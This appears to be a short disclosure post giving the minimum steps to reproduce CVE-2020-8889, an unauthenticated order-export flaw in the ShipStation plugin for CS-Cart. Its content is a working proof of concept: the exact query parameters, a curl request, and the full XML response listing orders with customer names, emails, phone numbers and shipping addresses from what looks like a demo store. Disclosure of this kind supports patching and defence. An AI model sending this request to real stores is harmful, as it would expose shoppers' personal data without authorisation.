Minimum requirements for CVE-2020-8889

Submitted by jer on Fri, 03/31/2023 - 02:15

Minimum requirements:

  1. Visit the home page of a CS-Cart store which has the ShipStation plugin 1.0 installed (previously available at https://ss7.shipstation.com/content/integration/CSCart/shipstation_cs-cart_1.0.5.zip but replaced with https://ss7.shipstation.com/content/integration/CSCart/shipstation_cs-cart_1.0.10.zip)
  2. Add the following query string parameters to the store's home page URL (in bold):
    • dispatch=shipstation
    • action=export
    • end_date=2050 (or any future year readable by PHP's strtotime() function)

Example via curl (assuming CS-Cart is installed at http://localhost):

$ curl 'http://localhost/?dispatch=shipstation&action=export&end_date=2050'
<?xml version="1.0" standalone="yes"?><Orders pages="2"><Order><OrderID><![CDATA[28]]></OrderID><OrderNumber><![CDATA[28]]></OrderNumber><OrderDate><![CDATA[9/25/2013 23:01 PM]]></OrderDate><OrderStatus><![CDATA[complete]]></OrderStatus><LastModified><![CDATA[9/25/2013 23:01 PM]]></LastModified><ShippingMethod><![CDATA[Custom shipping method]]></ShippingMethod><PaymentMethod><![CDATA[1]]></PaymentMethod><OrderTotal><![CDATA[917.99]]></OrderTotal><TaxAmount><![CDATA[0]]></TaxAmount><ShippingAmount><![CDATA[0.00]]></ShippingAmount><CustomerNotes><![CDATA[]]></CustomerNotes><InternalNotes><![CDATA[]]></InternalNotes><Customer><CustomerCode><![CDATA[davdavid@example.com]]></CustomerCode><BillTo><Name><![CDATA[David Tenant]]></Name><Company><![CDATA[]]></Company><Phone><![CDATA[+55(55)5555-5555]]></Phone><Email><![CDATA[davdavid@example.com]]></Email></BillTo><ShipTo><Name><![CDATA[David Tenant]]></Name><Company><![CDATA[]]></Company><Address1><![CDATA[Glasgow, Lanarkshire G2 1DS]]></Address1><Address2><![CDATA[]]></Address2><City><![CDATA[Glasgow]]></City><State><![CDATA[GLAS]]></State><PostalCode><![CDATA[141 332]]></PostalCode><Country><![CDATA[GB]]></Country><Phone><![CDATA[+55(55)5555-5555]]></Phone></ShipTo></Customer><Items><Item><SKU><![CDATA[H0148VPS1T]]></SKU><Name><![CDATA[16GB A Series Walkman Video MP3]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/NWZA865BLK.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[219.00]]></UnitPrice><Location><![CDATA[]]></Location></Item><Item><SKU><![CDATA[Q01802L8VS]]></SKU><Name><![CDATA[18-55mm Portrait Lens]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/EX-S1855SB_600.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[199.99]]></UnitPrice><Location><![CDATA[]]></Location></Item><Item><SKU><![CDATA[I0241GCXF9]]></SKU><Name><![CDATA[Apple® - iPad® with Retina® display Wi-Fi - 32GB - White]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/ipad-white-1.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[499.00]]></UnitPrice><Location><![CDATA[]]></Location><Options><Option><Name><![CDATA[3G Connectivity]]></Name><Value><![CDATA[No]]></Value><Weight><![CDATA[0.000]]></Weight></Option><Option><Name><![CDATA[Memory capacity]]></Name><Value><![CDATA[16GB]]></Value><Weight><![CDATA[0.000]]></Weight></Option></Options></Item></Items></Order><Order><OrderID><![CDATA[40]]></OrderID><OrderNumber><![CDATA[40]]></OrderNumber><OrderDate><![CDATA[10/2/2013 14:12 PM]]></OrderDate><OrderStatus><![CDATA[complete]]></OrderStatus><LastModified><![CDATA[10/2/2013 14:12 PM]]></LastModified><ShippingMethod><![CDATA[Custom shipping method]]></ShippingMethod><PaymentMethod><![CDATA[1]]></PaymentMethod><OrderTotal><![CDATA[299.99]]></OrderTotal><TaxAmount><![CDATA[0]]></TaxAmount><ShippingAmount><![CDATA[0.00]]></ShippingAmount><CustomerNotes><![CDATA[]]></CustomerNotes><InternalNotes><![CDATA[]]></InternalNotes><Customer><CustomerCode><![CDATA[sebastian@example.com]]></CustomerCode><BillTo><Name><![CDATA[Sergey Maxeev]]></Name><Company><![CDATA[]]></Company><Phone><![CDATA[+79235456683]]></Phone><Email><![CDATA[sebastian@example.com]]></Email></BillTo><ShipTo><Name><![CDATA[Sergey Maxeev]]></Name><Company><![CDATA[]]></Company><Address1><![CDATA[Moskovskaya street, 65-12]]></Address1><Address2><![CDATA[]]></Address2><City><![CDATA[Moscow]]></City><State><![CDATA[MOS]]></State><PostalCode><![CDATA[657849]]></PostalCode><Country><![CDATA[RU]]></Country><Phone><![CDATA[+79235456683]]></Phone></ShipTo></Customer><Items><Item><SKU><![CDATA[D0187LXFZO]]></SKU><Name><![CDATA[2010 TOUR STAFF Bag 10"]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/167734bda696f56942c278bee07e7236.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[299.99]]></UnitPrice><Location><![CDATA[]]></Location></Item></Items></Order><Order><OrderID><![CDATA[53]]></OrderID><OrderNumber><![CDATA[53]]></OrderNumber><OrderDate><![CDATA[10/15/2013 08:44 AM]]></OrderDate><OrderStatus><![CDATA[complete]]></OrderStatus><LastModified><![CDATA[10/15/2013 08:44 AM]]></LastModified><ShippingMethod><![CDATA[Custom shipping method]]></ShippingMethod><PaymentMethod><![CDATA[2]]></PaymentMethod><OrderTotal><![CDATA[80.99]]></OrderTotal><TaxAmount><![CDATA[0]]></TaxAmount><ShippingAmount><![CDATA[33.00]]></ShippingAmount><CustomerNotes><![CDATA[]]></CustomerNotes><InternalNotes><![CDATA[]]></InternalNotes><Customer><CustomerCode><![CDATA[dsds@example.com]]></CustomerCode><BillTo><Name><![CDATA[George Nills]]></Name><Company><![CDATA[]]></Company><Phone><![CDATA[+1 646-386-3600]]></Phone><Email><![CDATA[dsds@example.com]]></Email></BillTo><ShipTo><Name><![CDATA[George Nills]]></Name><Company><![CDATA[]]></Company><Address1><![CDATA[60 Centre Street #5]]></Address1><Address2><![CDATA[]]></Address2><City><![CDATA[New York]]></City><State><![CDATA[NY]]></State><PostalCode><![CDATA[01342]]></PostalCode><Country><![CDATA[US]]></Country><Phone><![CDATA[+1 646-386-3600]]></Phone></ShipTo></Customer><Items><Item><SKU><![CDATA[H023315I7E]]></SKU><Name><![CDATA[Crystal Lake Warm Weather Sleeping Bag]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/2000004455_500.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[47.99]]></UnitPrice><Location><![CDATA[]]></Location></Item></Items></Order><Order><OrderID><![CDATA[41]]></OrderID><OrderNumber><![CDATA[41]]></OrderNumber><OrderDate><![CDATA[10/3/2013 13:33 PM]]></OrderDate><OrderStatus><![CDATA[complete]]></OrderStatus><LastModified><![CDATA[10/3/2013 13:33 PM]]></LastModified><ShippingMethod><![CDATA[Custom shipping method]]></ShippingMethod><PaymentMethod><![CDATA[2]]></PaymentMethod><OrderTotal><![CDATA[100.00]]></OrderTotal><TaxAmount><![CDATA[0]]></TaxAmount><ShippingAmount><![CDATA[0.00]]></ShippingAmount><CustomerNotes><![CDATA[]]></CustomerNotes><InternalNotes><![CDATA[]]></InternalNotes><Customer><CustomerCode><![CDATA[sebastian@example.com]]></CustomerCode><BillTo><Name><![CDATA[Sergey Maxeev]]></Name><Company><![CDATA[]]></Company><Phone><![CDATA[+79235456683]]></Phone><Email><![CDATA[sebastian@example.com]]></Email></BillTo><ShipTo><Name><![CDATA[Sergey Maxeev]]></Name><Company><![CDATA[]]></Company><Address1><![CDATA[Moskovskaya street, 65-12]]></Address1><Address2><![CDATA[]]></Address2><City><![CDATA[Moscow]]></City><State><![CDATA[MOS]]></State><PostalCode><![CDATA[657849]]></PostalCode><Country><![CDATA[RU]]></Country><Phone><![CDATA[+79235456683]]></Phone></ShipTo></Customer><Items><Item><SKU><![CDATA[L0078RO9Y9]]></SKU><Name><![CDATA[adizero Rush Shoes]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/G48874_01.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[100.00]]></UnitPrice><Location><![CDATA[]]></Location></Item></Items></Order><Order><OrderID><![CDATA[61]]></OrderID><OrderNumber><![CDATA[61]]></OrderNumber><OrderDate><![CDATA[10/23/2013 09:38 AM]]></OrderDate><OrderStatus><![CDATA[complete]]></OrderStatus><LastModified><![CDATA[10/23/2013 09:38 AM]]></LastModified><ShippingMethod><![CDATA[Custom shipping method]]></ShippingMethod><PaymentMethod><![CDATA[2]]></PaymentMethod><OrderTotal><![CDATA[479.99]]></OrderTotal><TaxAmount><![CDATA[0]]></TaxAmount><ShippingAmount><![CDATA[0.00]]></ShippingAmount><CustomerNotes><![CDATA[]]></CustomerNotes><InternalNotes><![CDATA[]]></InternalNotes><Customer><CustomerCode><![CDATA[customer@example.com]]></CustomerCode><BillTo><Name><![CDATA[Customer Customer]]></Name><Company><![CDATA[]]></Company><Phone><![CDATA[]]></Phone><Email><![CDATA[customer@example.com]]></Email></BillTo><ShipTo><Name><![CDATA[Customer Customer]]></Name><Company><![CDATA[]]></Company><Address1><![CDATA[44 Main street]]></Address1><Address2><![CDATA[]]></Address2><City><![CDATA[Boston]]></City><State><![CDATA[MA]]></State><PostalCode><![CDATA[02134]]></PostalCode><Country><![CDATA[US]]></Country><Phone><![CDATA[]]></Phone></ShipTo></Customer><Items><Item><SKU><![CDATA[Y0224Y3QQU]]></SKU><Name><![CDATA[Samsung Galaxy Tab™ 8.9 (AT&T)]]></Name><ImageUrl><![CDATA[http://localhost/images/detailed/0/i957_600x600_xlarge_hf.jpg]]></ImageUrl><Weight><![CDATA[0.000]]></Weight><WeightUnits><![CDATA[lbs]]></WeightUnits><Quantity><![CDATA[1]]></Quantity><UnitPrice><![CDATA[479.99]]></UnitPrice><Location><![CDATA[]]></Location></Item></Items></Order></Orders>